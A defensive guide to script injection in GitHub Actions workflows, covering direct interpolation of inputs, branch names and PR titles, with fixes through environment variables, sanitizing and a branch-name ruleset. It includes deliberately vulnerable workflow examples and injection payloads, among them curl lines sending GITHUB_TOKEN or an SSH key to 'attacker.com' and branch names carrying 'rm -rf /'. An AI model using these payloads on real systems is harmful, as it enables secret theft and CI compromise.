| render_with_liquid | false |
|---|
This document explains the echo command injection vulnerability (HackerBot Claw attack) and how to protect your GitHub Actions workflows.
When you directly use user-controlled inputs in shell commands like echo, attackers can inject malicious commands.
name: Vulnerable Workflow
on:
workflow_dispatch:
inputs:
name:
description: 'Your name'
required: true
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Say hello
run: echo "Hello ${{ github.event.inputs.name }}"An attacker can exploit this by providing malicious input:
Example 1: Command Injection
Input: "; curl attacker.com?token=$(cat $GITHUB_TOKEN); "
Result: Exfiltrates secrets to attacker's server
Example 2: Workflow Command Injection
Input: $(echo "::set-output name=token::$GITHUB_TOKEN")
Result: Leaks secrets through workflow commands
Example 3: Branch Name Attack
run: echo "Building branch ${{ github.head_ref }}"
Branch name: main"; malicious-command; "Be especially careful with:
github.event.inputs.*- Workflow dispatch inputsgithub.head_ref- Source branch name in PRsgithub.base_ref- Target branch name in PRsgithub.ref_name- Branch or tag namegithub.event.pull_request.title- PR titlegithub.event.pull_request.body- PR descriptiongithub.event.issue.title- Issue titlegithub.event.issue.body- Issue bodygithub.event.commits[].message- Commit messages
Always use environment variables instead of direct interpolation:
✅ SECURE:
- name: Say hello
env:
INPUT_NAME: ${{ github.event.inputs.name }}
run: echo "Hello $INPUT_NAME"Why it works: The shell interpolates the environment variable safely after GitHub Actions has already substituted the expression.
For complex operations, use actions or scripts:
- name: Sanitize input
id: sanitize
uses: actions/github-script@v7
with:
script: |
const name = context.payload.inputs.name || 'World';
// Validate and sanitize
const safeName = name.replace(/[^a-zA-Z0-9 -]/g, '');
core.setOutput('safe_name', safeName);
- name: Use sanitized input
env:
SAFE_NAME: ${{ steps.sanitize.outputs.safe_name }}
run: echo "Hello $SAFE_NAME"Consider alternatives to echo:
- name: Display input
uses: actions/github-script@v7
with:
script: |
console.log(`Hello ${context.payload.inputs.name}`);For workflow_dispatch inputs, use type constraints:
on:
workflow_dispatch:
inputs:
environment:
description: 'Environment'
required: true
type: choice
options:
- dev
- staging
- prodname: Deploy
on:
push:
branches:
- '*'
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- run: echo "Deploying branch ${{ github.ref_name }}"
- run: echo "PR title: ${{ github.event.pull_request.title }}"name: Deploy
on:
push:
branches:
- '*'
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Display branch
env:
BRANCH_NAME: ${{ github.ref_name }}
run: echo "Deploying branch $BRANCH_NAME"
- name: Display PR info
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $PR_TITLE"Branch names are especially dangerous because:
- Attackers can create branches with malicious names
- Branch names are automatically used in many workflows
- They can contain special characters and commands
Example Attack:
Branch name: main"; curl attacker.com?data=$(cat ~/.ssh/id_rsa); "
Implement this regex pattern as a GitHub branch ruleset to prevent malicious branch names:
^[a-zA-Z0-9]([a-zA-Z0-9._/-]{0,242}[a-zA-Z0-9])?$What This Allows:
- Letters: a-z, A-Z
- Numbers: 0-9
- Separators:
/-_. - Max length: 244 characters
- Must start and end with alphanumeric characters
What This Blocks:
- Command injection characters:
;$`()&|\"' - Spaces and newlines
- Leading/trailing separators
Valid Examples:
✅ main
✅ feature/user-authentication
✅ bugfix/fix-login-error
✅ release/v1.2.3
✅ feat/ABC-123-add-feature
Invalid Examples:
❌ feature/test; rm -rf /
❌ $(whoami)
❌ main"; curl attacker.com
❌ branch with spaces
❌ -feature (starts with separator)
- Go to Settings → Rules → Rulesets
- Click New ruleset → New branch ruleset
- Name:
Branch Naming Convention - Target branches:
*(all branches) - Add rule: Restrict creations, updates, and deletions
- Enable: Require a matching ref name
- Pattern:
^[a-zA-Z0-9]([a-zA-Z0-9._/-]{0,242}[a-zA-Z0-9])?$
Add this workflow to validate branch names:
name: Validate Branch Name
on:
pull_request:
push:
jobs:
validate-branch:
runs-on: ubuntu-latest
steps:
- name: Validate branch name
env:
BRANCH_NAME: ${{ github.head_ref || github.ref_name }}
run: |
if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9]([a-zA-Z0-9._/-]{0,242}[a-zA-Z0-9])?$ ]]; then
echo "❌ Invalid branch name: $BRANCH_NAME"
echo ""
echo "Branch names must:"
echo " - Start and end with alphanumeric characters"
echo " - Only contain: a-z, A-Z, 0-9, /, -, _, ."
echo " - Be 244 characters or less"
exit 1
fi
echo "✅ Branch name is valid: $BRANCH_NAME"feature/[ticket-id]-[description]
bugfix/[ticket-id]-[description]
hotfix/[ticket-id]-[description]
release/v[version]
docs/[description]
test/[description]
chore/[description]
Examples:
feature/ABC-123-user-authenticationbugfix/XYZ-456-fix-memory-leakrelease/v2.1.0
- Minimize permissions: Use
permissions:to limit GITHUB_TOKEN scope - Pin action versions: Use commit SHA instead of tags
- Enable branch protection: Require reviews for workflow changes
- Use required workflows: Enforce security checks
- Audit workflow changes: Monitor changes to
.github/workflows/ - Use Dependabot: Keep actions up to date
- Enable secret scanning: Detect leaked credentials
- Use OIDC: Avoid long-lived credentials
Use these test inputs to verify your workflows are secure:
"; ls -la; "
$(whoami)
`cat /etc/passwd`
"\n::set-output name=test::value\n"
$(curl attacker.com)
If any of these execute commands or show sensitive data, your workflow is vulnerable.
- StepSecurity: HackerBot Claw GitHub Actions Exploitation
- GitHub: Security hardening for GitHub Actions
- GitHub: Understanding the risk of script injections
| ❌ VULNERABLE | ✅ SECURE |
|---|---|
run: echo "${{ inputs.name }}" |
env: NAME: ${{ inputs.name }}run: echo "$NAME" |
run: echo "${{ github.head_ref }}" |
env: BRANCH: ${{ github.head_ref }}run: echo "$BRANCH" |
run: echo "${{ github.event.pull_request.title }}" |
env: TITLE: ${{ github.event.pull_request.title }}run: echo "$TITLE" |
Remember: When in doubt, use environment variables!